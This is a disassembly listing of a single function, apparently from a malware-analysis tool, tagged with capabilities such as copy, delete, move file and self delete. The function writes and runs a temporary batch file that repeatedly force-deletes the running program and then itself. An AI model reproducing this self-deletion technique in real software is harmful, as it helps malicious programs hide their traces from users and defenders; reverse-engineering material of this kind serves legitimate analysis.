Function at 0x403710
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Move file
Self delete

Disassembly:
push 0xffffffffffffffff
push 0x41e7fc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x25c
mov eax, dword [0x427ec4]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], eax
xor ebp, ebp
mov dword [esp + 0x18], eax
mov dword [esp + 0x274], ebp
push 0x104
lea ecx, [esp + 0x1c]
mov byte [esp + 0x278], 1
call fcn.00419547
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call fcn.00419596
push 0x104
push 0x104
lea ecx, [esp + 0x1c]
call fcn.00419547
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.00419596
mov esi, dword [esp + 0x14]
push 0x104
push 0x104
lea ecx, [esp + 0x1c]
call fcn.00419547
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.00419596
lea ecx, [esp + 0x30]
call fcn.004196c1
lea eax, [esp + 0x18]
push str.yyyy.bat
lea ecx, [esp + 0x20]
mov ebx, 2
push eax
push ecx
mov byte [esp + 0x280], bl
call fcn.004193ac
mov eax, dword [eax]
push ebp
push 0x1002
push eax
lea ecx, [esp + 0x3c]
mov byte [esp + 0x280], 3
call fcn.00419736
lea ecx, [esp + 0x1c]
mov byte [esp + 0x274], bl
call fcn.00419163
push str._echo_off_n
lea ecx, [esp + 0x34]
call fcn.004198a9
push str.:err_n
lea ecx, [esp + 0x34]
call fcn.004198a9
lea edx, [esp + 0x14]
lea eax, [esp + 0x20]
push edx
push str.del__f__q
push eax
call fcn.00419420
push 0x427bc0
mov byte [esp + 0x278], 4
push eax
lea ecx, [esp + 0x24]
push ecx
call fcn.004193ac
mov eax, dword [eax]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x278], 5
call fcn.004198a9
lea ecx, [esp + 0x1c]
mov byte [esp + 0x274], 4
call fcn.00419163
lea ecx, [esp + 0x20]
mov byte [esp + 0x274], bl
call fcn.00419163
lea edx, [esp + 0x14]
lea eax, [esp + 0x1c]
push edx
push str.if_exist
push eax
call fcn.00419420
push str._goto_err_n
lea ecx, [esp + 0x24]
push eax
push ecx
mov byte [esp + 0x280], 6
call fcn.004193ac
mov eax, dword [eax]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x278], 7
call fcn.004198a9
lea ecx, [esp + 0x20]
mov byte [esp + 0x274], 6
call fcn.00419163
lea ecx, [esp + 0x1c]
mov byte [esp + 0x274], bl
call fcn.00419163
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push str.copy
push eax
call fcn.00419420
push str.yyyy
lea ecx, [esp + 0x28]
push eax
push ecx
mov byte [esp + 0x280], 8
call fcn.004193ac
lea edx, [esp + 0x14]
mov byte [esp + 0x274], 9
push edx
push eax
lea eax, [esp + 0x24]
push eax
call fcn.00419346
push 0x427bc0
lea ecx, [esp + 0x24]
push eax
push ecx
mov byte [esp + 0x280], 0xa
call fcn.004193ac
mov eax, dword [eax]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x278], 0xb
call fcn.004198a9
lea ecx, [esp + 0x20]
mov byte [esp + 0x274], 0xa
call fcn.00419163
lea ecx, [esp + 0x1c]
mov byte [esp + 0x274], 9
call fcn.00419163
mov byte [esp + 0x274], 8
lea ecx, [esp + 0x24]
call fcn.00419163
lea ecx, [esp + 0x10]
mov byte [esp + 0x274], bl
call fcn.00419163
lea edx, [esp + 0x18]
lea eax, [esp + 0x24]
push edx
push str.del__f__q
push eax
call fcn.00419420
push str.yyyy_n
lea ecx, [esp + 0x14]
push eax
push ecx
mov byte [esp + 0x280], 0xc
call fcn.004193ac
mov eax, dword [eax]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x278], 0xd
call fcn.004198a9
lea ecx, [esp + 0x10]
mov byte [esp + 0x274], 0xc
call fcn.00419163
lea ecx, [esp + 0x24]
mov byte [esp + 0x274], bl
call fcn.00419163
lea edx, [esp + 0x18]
lea eax, [esp + 0x24]
push edx
push str.del__f__q
push eax
call fcn.00419420
push str.yyyy.bat_n
lea ecx, [esp + 0x14]
push eax
push ecx
mov byte [esp + 0x280], 0xe
call fcn.004193ac
mov eax, dword [eax]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x278], 0xf
call fcn.004198a9
lea ecx, [esp + 0x10]
mov byte [esp + 0x274], 0xe
call fcn.00419163
lea ecx, [esp + 0x24]
mov byte [esp + 0x274], bl
call fcn.00419163
lea ecx, [esp + 0x30]
call fcn.00419a66
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x44]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
lea ecx, [esp + 0x2c]
mov dword [esp + 0x48], ebp
mov dword [esp + 0x4c], ebx
call fcn.00418ed8
mov edx, dword [esp + 0x28]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea esi, [esp + 0x64]
sub edi, ecx
mov dword [esp + 0x10], esi
mov esi, edi
mov edi, dword [esp + 0x10]
mov byte [esp + 0x274], 0x10
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x427c50
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, edx
lea edx, [esp + 0x1c]
mov byte [esp + ecx + 0x68], al
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov byte [esp + ecx + 0x6d], al
lea eax, [esp + 0x18]
lea ecx, [esp + 0x6c]
push eax
mov dword [esp + 0x58], ecx
call fcn.004193ac
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x278], 0x11
call fcn.00419250
lea ecx, [esp + 0x10]
mov byte [esp + 0x274], 0x10
call fcn.00419163
mov edx, dword [esp + 0x28]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea esi, [esp + 0x168]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x10], esi
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, edx
lea edx, [esp + 0x44]
mov byte [esp + ecx + 0x168], al
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov word [esp + 0x58], 0x214
mov dword [esp + 0x62], ebp
mov byte [esp + ecx + 0x16d], al
lea ecx, [esp + 0x16c]
mov dword [esp + 0x54], ecx
mov dword [esp + 0x5e], ebp
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x18]
push 0x427c50
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.004193ac
mov eax, dword [eax]
push ebp
push ebx
push eax
lea ecx, [esp + 0x3c]
mov byte [esp + 0x280], 0x12
call fcn.00419736
lea ecx, [esp + 0x10]
mov byte [esp + 0x274], 0x10
call fcn.00419163
push ebp
push 0x7b0
lea ecx, [esp + 0x38]
call fcn.004199dc
push ebp
call fcn.004060c1
push eax
call fcn.00406092
mov edx, dword [0x427ec4]
add esp, 8
mov dword [esp + 0x2c], edx
mov byte [esp + 0x274], 0x13
call fcn.0040609f
push eax
call fcn.0040609f
push eax
call fcn.0040609f
push eax
call fcn.0040609f
push eax
lea eax, [esp + 0x3c]
push str._d_d_d_d
push eax
call fcn.00414e19
mov eax, dword [esp + 0x44]
add esp, 0x18
mov ecx, dword [eax - 8]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.00419876
lea ecx, [esp + 0x30]
call fcn.00419a66
lea ecx, [esp + 0x18]
push str.yyyy.bat
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.004193ac
mov eax, dword [eax]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x10]
call fcn.00419163
lea ecx, [esp + 0x2c]
mov byte [esp + 0x274], 0x10
call fcn.00419163
lea ecx, [esp + 0x28]
mov byte [esp + 0x274], bl
call fcn.00419163
lea ecx, [esp + 0x30]
mov byte [esp + 0x274], 1
call fcn.004196f3
lea ecx, [esp + 0x18]
mov byte [esp + 0x274], 0
call fcn.00419163
lea ecx, [esp + 0x14]
mov dword [esp + 0x274], 0xffffffff
call fcn.00419163
mov ecx, dword [esp + 0x26c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x268
ret